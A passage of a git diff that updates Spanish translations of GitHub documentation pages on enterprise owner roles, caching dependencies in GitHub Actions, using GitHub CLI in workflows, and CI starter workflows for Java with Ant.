+También puedes ver si un propietario de empresa tiene un rol específico en la organización. Los propietarios de empresa también pueden ser miembros de la organización, tener cualquier rol en ella o no estar afiliados con esta.
+
+{% note %}
+
+**Nota:** Si eres el propietario de una organización, también puedes invitar a un propietario de la empresa para que tome un rol en dicha organización. Si un propietario de empresa acepta la invitación, se utilizará una plaza o licencia en la organización de entre aquellas disponibles en tu empresa. Para obtener más información sobre cómo funcionan las licencias, consulta la sección "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)".
+
+{% endnote %}
+
+| **Roles en la empresa** | **Roles en la organización**                     | **Acceso o impacto a la organización**                                                                                                                        |
+| ----------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Propietario de empresa  | Sin rol oficial en la organización o no afiliado | No puede acceder al contenido de la organización ni a sus repositorios, pero administra los ajustes y políticas de la empresa que impactan a tu organización. |
+| Propietario de empresa  | Organization owner                               | Puede configurar los ajustes de la organización y administrar el acceso a los recursos de la misma mediante equipos, etc.                                     |
+| Propietario de empresa  | Miembro de la organización                       | Puede acceder a los recursos y contenido de la organización, tales como repositorios, sin acceder a los ajustes de la misma.                                  |
+
+Para revisar todos los roles en una organización, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". {% ifversion ghec %} Los miembros de la organización también pueden tener roles personalizados para un repositorio específico. Para obtener más información, consulta la sección "[Administrar los roles personalizados de repositorio en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".{% endif %}
+
+Para obtener más información sobre el rol de propietario de empresa, consulta la sección "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)".
+
+{% data reusables.profile.access_org %}
+{% data reusables.user_settings.access_org %}
+{% data reusables.organizations.people %}
+4. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**. ![Captura de pantalla de la opción de "Propietarios de empresa" en el menú de la barra lateral](/assets/images/help/organizations/enterprise-owners-sidebar.png)
+5. View the list of the enterprise owners for your enterprise. If the enterprise owner is also a member of your organization, you can see their role in the organization.
+
+  ![Screenshot of list of Enterprise owners and their role in the organization](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
+
+{% endif %}
diff --git a/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
index 603f7c540d..065915e1b4 100644
--- a/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
+++ b/translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Caching dependencies to speed up workflows
-shortTitle: Caching dependencies
-intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.'
+title: Almacenar en caché las dependencias para agilizar los flujos de trabajo
+shortTitle: Almacenar dependencias en caché
+intro: 'Para hacer que tus flujos de trabajo sean más rápidos y eficientes, puedes crear y usar cachés para las dependencias y otros archivos comúnmente reutilizados.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
   - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
@@ -15,21 +15,21 @@ topics:
   - Workflows
 ---
 
-## About caching workflow dependencies
+## Acerca de almacenar en caché las dependencias de flujo de trabajo
 
-Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies.
+Las ejecuciones de flujo de trabajo a menudo reutilizan las mismas salidas o dependencias descargadas de una ejecución a otra. Por ejemplo, las herramientas de administración de paquetes y dependencias como Maven, Gradle, npm y Yarn mantienen una caché local de las dependencias descargadas.
 
-Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows.
+Los trabajos en los ejecutores alojados {% data variables.product.prodname_dotcom %} se inician en un entorno virtual limpio y deben descargar dependencias cada vez, lo que provoca una mayor utilización de la red, un tiempo de ejecución más largo y un mayor costo. Para ayudar a acelerar el tiempo que se tarda en volver a crear estos archivos, {% data variables.product.prodname_dotcom %} puede almacenar en caché las dependencias que utilizas con frecuencia en los flujos de trabajo.
 
-To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache).
+Para almacenar en caché las dependencias de un trabajo, deberás usar la acción de `caché` de {% data variables.product.prodname_dotcom %}. La acción recupera una caché identificada por una clave única. Para más información, consulta [`actions/cache`](https://github.com/actions/cache).
 
-If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use.
+Si estás almacenando en caché los administradores de paquetes que se listan a continuación, considera utilizar las acciones de setup-* respectivas, las cuales casi no requieren de configuración y son fáciles de utilizar.
 
 <table>
 <thead>
   <tr>
-    <th>Package managers</th>
-    <th>setup-* action for caching</th>
+    <th>Administradores de paquetes</th>
+    <th>acción de setup-* para almacenar en caché</th>
   </tr>
 </thead>
 <tbody>
@@ -54,43 +54,43 @@ If you are caching the package managers listed below, consider using the respect
 
 {% warning %}
 
-**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch.
+**Advertencia**: Te recomendamos que no almacenes ninguna información confidencial en la caché de los repositorios públicos. Por ejemplo, la información confidencial puede incluir tokens de acceso o credenciales de inicio de sesión almacenados en un archivo en la ruta de la caché. Además, los programas de interfaz de línea de comando (CLI) como `docker login` pueden guardar las credenciales de acceso en un archivo de configuración. Cualquier persona con acceso de lectura puede crear una solicitud de extracción en un repositorio y acceder a los contenidos de la caché. Las bifurcaciones de un repositorio también pueden crear solicitudes de extracción en la rama base y acceder a las cachés en la rama base.
 
 {% endwarning %}
 
-## Comparing artifacts and dependency caching
+## Comparar artefactos y caché de dependencias
 
-Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably.
+Los artefactos y el almacenamiento en caché son similares porque brindan la posibilidad de almacenar archivos en {% data variables.product.prodname_dotcom %}, pero cada característica ofrece diferentes casos de uso y no se puede usar indistintamente.
 
-- Use caching when you want to reuse files that don't change often between jobs or workflow runs.
-- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+- Usa el almacenamiento en caché cuando quieras reutilizar archivos que no cambien a menudo entre trabajos o ejecuciones de flujo de trabajo.
+- Usa artefactos cuando quieras guardar los archivos producidos por un trabajo para ver después de que haya finalizado un flujo de trabajo. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-## Restrictions for accessing a cache
+## Restricciones para acceder a una caché
 
-With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Con la `v2` de la acción `cache`, puedes acceder al caché en en los flujos de trabajo que cualquier evento que tenga un `GITHUB_REF` active. Si estás utilizando la `v1` de la acción `cache`, únicamente podrás acceder al caché en los flujos de trabajo que activen los eventos `push` y `pull_request`, con excepción de aquellos eventos `pull_request` `closed`. Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
 
-A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`.
+Un flujo de trabajo puede acceder y restaurar una caché creada en la rama actual, la rama base (incluidas las ramas base de los repositorios bifurcados) o la rama predeterminada (por lo general `main`). Por ejemplo, un caché creado en la rama predeterminada sería accesible desde cualquier solicitud de cambios. También, si la rama `feature-b` tiene la rama base `feature-a`, un flujo de trabajo activado en `feature-b` tendría acceso a las cachés creadas en la rama predeterminada (`main`), `feature-a` y `feature-b`.
 
-Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`).
+Las restricciones de acceso proporcionan aislamiento y seguridad de caché al crear una frontera lógica entre las ramas diferentes. Por ejemplo, un caché creado para la rama `feature-a` (con la base `main`) no sería accesible para una solicitud de extracción para la rama `feature-b` (con la base `main`).
 
-Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch.
+Los flujos de trabajo múltiples dentro de un repositorio comparten entradas de caché. Puede accederse a un caché que se crea para una rama dentro de un flujo de trabajo y se puede establecer desde otro flujo de trabajo para el mismo repositorio y rama.
 
-## Using the `cache` action
+## Usando la acción `cache`
 
-The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure.
+La acción `cache` intentará restaurar una memoria caché basada en la `key` (clave) que proporciones. Cuando la acción encuentra una memoria caché, la acción restaura los archivos almacenados en la caché al `path` (ruta) que configures.
 
-If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory.
+Si no hay una coincidencia exacta, la acción crea una nueva entrada de caché si el trabajo se completa correctamente. La nueva memoria caché usará la `key` que proporcionaste y contiene los archivos en el directorio del `path`.
 
-You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)."
+De manera opcional, puedes proporcionar una lista de `restore-keys` para usar cuando la `key` no coincida con una memoria caché existente. Una lista de `restore-keys` es útil cuando estás restaurando una caché desde otra rama porque `restore-keys` pueden coincidir parcialmente con claves de caché. Para obtener más información acerca de la coincidencia `restore-keys`, consulta [Hacer coincidir una clave de caché](#matching-a-cache-key)".
 
-For more information, see [`actions/cache`](https://github.com/actions/cache).
+Para más información, consulta [`actions/cache`](https://github.com/actions/cache).
 
-### Input parameters for the `cache` action
+### Parámetros de entrada para la acción `chache`
 
-- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail.
-- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory.
-  - Paths can be either directories or single files, and glob patterns are supported.
-  - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example:
+- `key`: **Obligatorio** La clave que se crea cuando se guarda una memoria caché y la clave utilizada para buscar una caché. Puede ser cualquier combinación de variables, valores de contexto, cadenas estáticas y funciones. Las claves tienen una longitud máxima de 512 caracteres y las claves más largas que la longitud máxima provocarán un error en la acción.
+- `path`: **Obligatorio** La ruta del archivo en el ejecutor para almacenar en caché o restaurar. La ruta debe ser absoluta o relativa al directorio de trabajo.
+  - Las rutas pueden ser tanto directorios o solo archivos, y los patrones estilo glob son compatibles.
+  - Con la `v2` de la acción `cache`, puedes especificar una ruta sencilla o puedes agregar rutas múltiples en líneas separadas. Por ejemplo:
     ```
     - name: Cache Gradle packages
       uses: actions/cache@v2
@@ -99,16 +99,16 @@ For more information, see [`actions/cache`](https://github.com/actions/cache).
           ~/.gradle/caches
           ~/.gradle/wrapper
     ```
-  - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file.
-- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`.
+  - Con la `v1` de la acción `cache`, solo se puede utilizar una ruta única, la cual debe ser un directorio. No puedes almacenar en caché un archivo único.
+- `restore-keys`: **Opcional** Una lista ordenada de claves alternativas que se usan para encontrar la caché si no se ha producido ningún hit de caché para `key`.
 
-### Output parameters for the `cache` action
+### Parámetros de salida para la acción `cache`
 
-- `cache-hit`: A boolean value to indicate an exact match was found for the key.
+- `cache-hit`: Un valor booleano para indicar que se encontró una coincidencia exacta para la llave.
 
-### Example using the `cache` action
+### Ejemplo de uso para la acción `cache`
 
-This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file.
+Este ejemplo crea una nueva memoria caché cuando los paquetes en el archivo `package-lock.json` cambian o cuando cambia el sistema operativo del ejecutor. La clave de caché usa contextos y expresiones para generar una clave que incluye el sistema operativo del ejecutor y un hash SHA-256 del archivo `package-lock.json`.
 
 {% raw %}
 ```yaml{:copy}
@@ -147,23 +147,23 @@ jobs:
 ```
 {% endraw %}
 
-When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory.
+Cuando `key` coincide con una caché existente, se denomina hit de caché y la acción restaura los archivos almacenados en la caché al directorio `path`.
 
-When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`.
+Cuando `key` no coincide con una caché existente, se denomina una falta de caché y se crea una nueva memoria caché si el trabajo se completa correctamente. Cuando se produce una falta de caché, la acción busca claves alternativas llamadas `restore-keys`.
 
-1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`.
-   - When there is an exact match, the action restores the files in the cache to the `path` directory.
-   - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory.
-1. The `cache` action completes and the next workflow step in the job runs.
-1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory.
+1. Si proporcionas `restore-Keys`, la acción `cache` busca cualquier caché en forma secuencial que coincida con la lista de `restore-keys`.
+   - Cuando hay una coincidencia exacta, la acción restaura los archivos en la memoria caché al directorio `path`.
+   - Si no hay coincidencias exactas, la acción busca coincidencias parciales de las claves de restauración. Cuando la acción encuentra una coincidencia parcial, se restaura la caché más reciente al directorio `path`.
+1. La acción `cache` se completa y el siguiente paso en el flujo de trabajo del job se ejecuta.
+1. Si el trabajo se completa correctamente, la acción crea una nueva memoria caché con los contenidos del directorio `path`.
 
-To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key.
+Para almacenar en caché los archivos en más de un directorio, necesitarás un paso que use la acción [`cache`](https://github.com/actions/cache) para cada directorio. Una vez que creas una caché, no puedes cambiar los contenidos de una memoria caché existente, pero puedes crear una nueva caché con una clave nueva.
 
-### Using contexts to create cache keys
+### Usar contextos para crear claves de caché
 
-A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Una clave de caché puede incluir cualquiera de los contextos, funciones, literales y operadores admitidos por {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)".
 
-Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file.
+Usar expresiones para crear una `key` te permite crear automáticamente una nueva caché cuando las dependencias han cambiado. Por ejemplo, puedes crear una `key` utilizando una expresión que calcule el hash de un archivo `package-lock.json` de npm.
 
 {% raw %}
 ```yaml
@@ -171,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }}
 ```
 {% endraw %}
 
-{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`.
+{% data variables.product.prodname_dotcom %} evalúa la expresión `"package-lock.json"` para obtener la última `key`.
 
 ```yaml
 npm-d5ea0750
 ```
 
-## Matching a cache key
+## Hacer coincidir una clave de caché
 
-The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches.
+La acción `cache` busca primero las coincidencias de caché para `key` y `restore-keys` en la rama que contiene la ejecución del flujo de trabajo. Si no hay coincidencias en la rama actual, la acción `chache` busca a `key` y `restore-keys` en la rama padre y en las ramas ascendentes.
 
-You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache.
+Puedes proporcionar una lista de claves de restauración para usar cuando haya una falta de caché en `key`. Puedes crear múltiples claves de restauración ordenadas desde las más específicas hasta las menos específicas. La acción `cache` busca `restore-keys` en orden secuencial. Cuando una clave no coincide directamente, la acción busca las claves prefijadas con la clave de restauración. Si hay múltiples coincidencias parciales para una clave de restauración, la acción devuelve la caché que se creó más recientemente.
 
-### Example using multiple restore keys
+### Ejemplo usando múltiples claves de restauración
 
 {% raw %}
 ```yaml
@@ -194,7 +194,7 @@ restore-keys: |
 ```
 {% endraw %}
 
-The runner evaluates the expressions, which resolve to these `restore-keys`:
+El ejecutor evalúa las expresiones, que resuelven estas `restore-keys`:
 
 {% raw %}
 ```yaml
@@ -205,13 +205,13 @@ restore-keys: |
 ```
 {% endraw %}
 
-The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order:
+La clave de restauración `npm-foobar-` coincide con cualquier clave que empiece con la cadena `npm-foobar-`. Por ejemplo, ambas claves `npm-foobar-fd3052de` y `npm-foobar-a9b253ff` coinciden con la clave de restauración. Se utilizará la caché con la fecha de creación más reciente. Las claves en este ejemplo se buscan en el siguiente orden:
 
-1. **`npm-foobar-d5ea0750`** matches a specific hash.
-1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`.
-1. **`npm-`** matches any keys prefixed with `npm-`.
+1. **`npm-foobar-d5ea0750`** coincide con un hash específico.
+1. **`npm-foobar-`** coincide con claves de caché prefijadas con `npm-foobar-`.
+1. **`npm`** coincide con cualquier clave prefijada con `npm`.
 
-#### Example of search priority
+#### Ejemplo de prioridad de búsqueda
 
 ```yaml
 key:
@@ -221,15 +221,15 @@ restore-keys: |
   npm-
 ```
 
-For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order:
+Por ejemplo, si una solicitud de cambios contiene una rama `feature` (el alcance actual) y se dirige a la rama predeterminada (`main`), la acción busca a `key` y a `restore-keys` en el siguiente orden:
 
-1. Key `npm-feature-d5ea0750` in the `feature` branch scope
-1. Key `npm-feature-` in the `feature` branch scope
-2. Key `npm-` in the `feature` branch scope
-1. Key `npm-feature-d5ea0750` in the `main` branch scope
-3. Key `npm-feature-` in the `main` branch scope
-4. Key `npm-` in the `main` branch scope
+1. Clave `npm-feature-d5ea0750` en el alcance de la rama `feature`
+1. Clave `npm-feature-` en el alcance de la rama `feature`
+2. Clave `npm` en el alcance de la rama `feature`
+1. Clave `npm-feature-d5ea0750` en el alcance de la rama `main`
+3. Clave `npm-feature-` en el alcance de la rama `main`
+4. Clave `npm-` en el alcance de la rama `main`
 
-## Usage limits and eviction policy
+## Límites de uso y política de desalojo
 
-{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB.
+{% data variables.product.prodname_dotcom %} eliminará todas las entradas de caché a las que no se haya accedido en más de 7 días. No hay límite en la cantidad de cachés que puedes almacenar, pero el tamaño total de todas las cachés en un repositorio está limitado a 10 GB. Si excedes este límite, {% data variables.product.prodname_dotcom %} guardará tu caché, pero comenzará a desalojar las cachés hasta que el tamaño total sea inferior a 10 GB.
diff --git a/translations/es-ES/content/actions/advanced-guides/index.md b/translations/es-ES/content/actions/advanced-guides/index.md
index d5765c95f4..619578233f 100644
--- a/translations/es-ES/content/actions/advanced-guides/index.md
+++ b/translations/es-ES/content/actions/advanced-guides/index.md
@@ -1,7 +1,7 @@
 ---
-title: Advanced guides
-shortTitle: Advanced guides
-intro: 'How to cache dependencies, store output as artifacts, and use the GitHub CLI in workflows.'
+title: Guías avanzadas
+shortTitle: Guías avanzadas
+intro: 'Cómo guardar dependencias en caché, almacenar resultados como artefactos y utilizar el CLI de GitHub en los flujos de trabajo.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/advanced-guides/using-github-cli-in-workflows.md b/translations/es-ES/content/actions/advanced-guides/using-github-cli-in-workflows.md
index 39160cc653..b7f7a4e2d8 100644
--- a/translations/es-ES/content/actions/advanced-guides/using-github-cli-in-workflows.md
+++ b/translations/es-ES/content/actions/advanced-guides/using-github-cli-in-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Using GitHub CLI in workflows
-shortTitle: GitHub CLI in workflows
-intro: 'You can script with {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %} workflows.'
+title: Utilizar el CLI de GitHub en los flujos de trabajo
+shortTitle: El CLI de GitHub en los flujos de trabajo
+intro: 'Puedes hacer scripts con el {% data variables.product.prodname_cli %} en los flujos de trabajo de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/guides/using-github-cli-in-workflows
 versions:
@@ -18,9 +18,9 @@ type: how_to
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} is preinstalled on all {% data variables.product.prodname_dotcom %}-hosted runners. For each step that uses {% data variables.product.prodname_cli %}, you must set an environment variable called `GITHUB_TOKEN` to a token with the required scopes.
+El {% data variables.product.prodname_cli %} está preinstalado en todos los ejecutores hospedados en {% data variables.product.prodname_dotcom %}. Para cada paso que utilice el {% data variables.product.prodname_cli %}, debes configurar una variable de ambiente llamada `GITHUB_TOKEN` para un token con los alcances requeridos.
 
-You can execute any {% data variables.product.prodname_cli %} command. For example, this workflow uses the `gh issue comment` subcommand to add a comment when an issue is opened.
+Puedes ejecutar cualquier comando del {% data variables.product.prodname_cli %}. Por ejemplo, este flujo de trabajo utiliza el subcomando `gh issue comment` para agregar un comentario cuando se abre una propuesta.
 
 ```yaml{:copy}
 name: Comment when opened
@@ -38,7 +38,7 @@ jobs:
           ISSUE: {% raw %}${{ github.event.issue.html_url }}{% endraw %}
 ```
 
-You can also execute API calls through {% data variables.product.prodname_cli %}. For example, this workflow first uses the `gh api` subcommand to query the GraphQL API and parse the result. Then it stores the result in an environment variable that it can access in a later step. In the second step, it uses the `gh issue create` subcommand to create an issue containing the information from the first step.
+También puedes ejecutar llamadas de la API a través de {% data variables.product.prodname_cli %}. Por ejemplo, este flujo de trabajo utiliza primero el subcomando de `gh api` para consultar la API de GraphQL y analizar el resultado. Entonces, almacenará el resultado en una variable de ambiente a la que pueda acceder en un paso posterior. En el segundo paso, utiliza el subcomando `gh issue create` para crear una propuesta que contenga la información del primer paso.
 
 ```yaml{:copy}
 name: Report remaining open issues
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md
index 393d8c7c60..5c660e6ecb 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md
@@ -39,19 +39,19 @@ You can configure your CI workflow to run when a {% data variables.product.prodn
 
 {% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
 
-When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a template file that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.product_name %}, customize the suggested template, or create your own custom workflow file to run your CI tests.
+When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
 
-![Screenshot of suggested continuous integration templates](/assets/images/help/repository/ci-with-actions-template-picker.png)
+![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png)
 
 In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)."
 
 For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)."
 
-## Workflow templates
+## Starter workflow
 
-{% data variables.product.product_name %} offers CI workflow templates for a variety of languages and frameworks.
+{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks.
 
-Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
+Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
 
 ## Further reading
 
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
index e064761894..e0533e6e82 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Ant
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Ant.
+title: Construir y probar Java con Ant
+intro: Puedes crear un flujo de trabajo de integración continua (CI) en Acciones de GitHub para construir y probar tu proyecto Java con Ant.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-ant
   - /actions/guides/building-and-testing-java-with-ant
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Ant
-shortTitle: Build & test Java & Ant
+shortTitle: Crear & probar con Java & Ant
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run.
+Esta guía te muestra cómo crear un flujo de trabajo que realiza integración continua (CI) para tu proyecto de Java por medio del sistema de construcción Ant. El flujo de trabajo que creas te permitirá ver cuándo las confirmaciones de una solicitud de extracción causan la construcción o las fallas de prueba en tu rama por defecto; este enfoque puede ayudar a garantizar que tu código siempre sea correcto. Puedes ampliar tu flujo de trabajo de CI para cargar artefactos desde una ejecución de flujo de trabajo.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Los ejecutores alojados en {% data variables.product.prodname_dotcom %} tienen un caché de herramientas con software preinstalado, que incluye Java Development Kits (JDK) y Ant. Para encontrar una lista de software y de las versiones pre-instaladas de JDK y de Ant, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Deberías estar familiarizado con YAML y la sintaxis para las {% data variables.product.prodname_actions %}. Para obtener más información, consulta:
+- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Ant framework. For more information, see the [Apache Ant Manual](https://ant.apache.org/manual/).
+Recomendamos que tengas un conocimiento básico de Java y de la estructura de Ant. Para obtener más información, consulta el [Manual de Apache Ant](https://ant.apache.org/manual/).
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with an Ant workflow template
+## Using the Ant starter workflow
 
